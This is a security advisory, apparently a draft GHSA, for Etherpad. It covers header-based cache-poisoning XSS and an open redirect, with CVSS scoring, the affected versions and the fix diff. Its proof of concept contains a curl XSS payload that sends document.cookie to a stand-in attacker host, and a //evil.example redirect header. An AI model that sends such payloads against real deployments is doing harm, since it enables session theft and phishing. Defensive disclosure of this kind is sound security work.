GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)
Severity: Medium
CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS suggested base score: ~6.1 — Medium
(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests
Title
x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)
Description
Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:
Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)
The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:
- An attacker who can issue a request with a chosen
x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
- More seriously, any reverse proxy or CDN in front of Etherpad that caches
/admin/index.html keyed on URL alone (the common case — no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.
Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)
The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:
res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);
A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.
Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.
Severity rationale
- AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
- UI:R — victim must visit/interact with the admin UI.
- S:C — scope changes (attacker context to admin origin).
- C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.
CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.
Affected versions
- Admin XSS (Issue 3a):
ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY_HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
- Open-redirect (Issue 3b):
ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
- Combined fix-target range covered by the GHSA:
>= 2.1.0, <= 3.0.0.
Patched versions
ep_etherpad-lite >= 3.1.0 — the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.
Proof of concept
XSS / cache poisoning
curl -s 'https://pad.example/admin/index.html' \
-H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'
# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.
Open redirect
curl -i 'https://pad.example/p/foo/timeslider' \
-H 'x-proxy-path: //evil.example'
# HTTP/1.1 302 Found
# Location: //evil.example/p/foo
A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.
Workarounds
- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite
x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to
/p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).
Fix
Patched in 8c6104c (PR #7784):
- Extracted
src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper:
- returns
"" when the header is absent;
- strips characters outside
[A-Za-z0-9_./-];
- collapses a leading
//+ to a single / (kills protocol-relative URLs);
- prepends
/ if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
- rejects
.. traversal segments.
- admin.ts now emits
Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.
src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:
-const sanitizeProxyPath = (req: any): string => {
- const raw = req.header('x-proxy-path') || '';
- return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';
src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:
if (ext === ".html" || ext === ".js" || ext === ".css") {
- if (req.header(PROXY_HEADER)) {
+ const proxyPath = sanitizeProxyPath(req);
+ if (proxyPath) {
let string = data.toString()
- dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
- dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+ dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+ dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
}
+ res.setHeader('Vary', 'x-proxy-path');
+ res.setHeader('Cache-Control', 'private, no-store');
}
Resources
Credits
Reported during an internal security audit by Claude (via @JohnMcLear).
References
GHSA-03 —
x-proxy-pathheader reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)Severity: Medium
CVSS v3.1 vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCVSS suggested base score: ~6.1 — Medium
(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests
Title
x-proxy-pathrequest header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a/p/:pad/timesliderredirect target (open-redirect via protocol-relative URL)Description
Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g.
/pad/etherpad/...). The proxy is expected to setx-proxy-path: /pad/etherpadon every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:Issue 3a —
src/node/hooks/express/admin.ts(XSS, cache-poisoning)The admin static-serving handler read
req.header('x-proxy-path')and substituted it into the response body of every.html/.js/.cssasset under/admin/*usingString.prototype.replaceAll. The value was used raw, with no character filter and noVary/Cache-Controlheaders on the response. Consequently:x-proxy-pathvalue gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML)./admin/index.htmlkeyed on URL alone (the common case — noVarywas set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.Issue 3b —
src/node/hooks/express/specialpages.ts(open-redirect via protocol-relative URL)The legacy
/p/:pad/timesliderhandler (direct visits without?embed=1) built a redirect target as:A local
sanitizeProxyPathhelper filtered the character class but did NOT prevent values beginning with//. A request carryingx-proxy-path: //evil.exampletherefore produced aLocation: //evil.example/p/<pad>header, which browsers interpret as a protocol-relative URL — equivalent tohttps://evil.example/p/<pad>. Open redirect, exploitable for phishing.Both issues require the
x-proxy-pathheader to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.Severity rationale
CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client
x-proxy-pathare not exposed.Affected versions
ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitisedreplaceAll("/admin", req.header(PROXY_HEADER) + ...)was present in63e9b2d"Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases throughv3.0.0carry it.ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into aLocationheader was introduced in451bd9c"scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.>= 2.1.0, <= 3.0.0.Patched versions
ep_etherpad-lite >= 3.1.0— the fix is ondevelopHEAD as commit8c6104c. Update this field with the actual tagged release version when it ships.Proof of concept
XSS / cache poisoning
Open redirect
A browser followed against the etherpad origin treats
//evil.example/p/fooashttps://evil.example/p/foo.Workarounds
x-proxy-pathfrom inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't./p/:pad(the in-pad PadModeController handles history mode without ever loading the standalone timeslider).Fix
Patched in
8c6104c(PR #7784):src/node/utils/sanitizeProxyPath.ts— a single shared helper used by both admin.ts and specialpages.ts. The helper:""when the header is absent;[A-Za-z0-9_./-];//+to a single/(kills protocol-relative URLs);/if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);..traversal segments.Vary: x-proxy-pathandCache-Control: private, no-storeon HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.src/node/hooks/express/specialpages.ts— replace the local sanitiser with the shared one:src/node/hooks/express/admin.ts— sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:if (ext === ".html" || ext === ".js" || ext === ".css") { - if (req.header(PROXY_HEADER)) { + const proxyPath = sanitizeProxyPath(req); + if (proxyPath) { let string = data.toString() - dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin") - dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io") + dataToSend = string.replaceAll("/admin", proxyPath + "/admin") + dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io") } + res.setHeader('Vary', 'x-proxy-path'); + res.setHeader('Cache-Control', 'private, no-store'); }Resources
8c6104c).Credits
Reported during an internal security audit by Claude (via @JohnMcLear).
References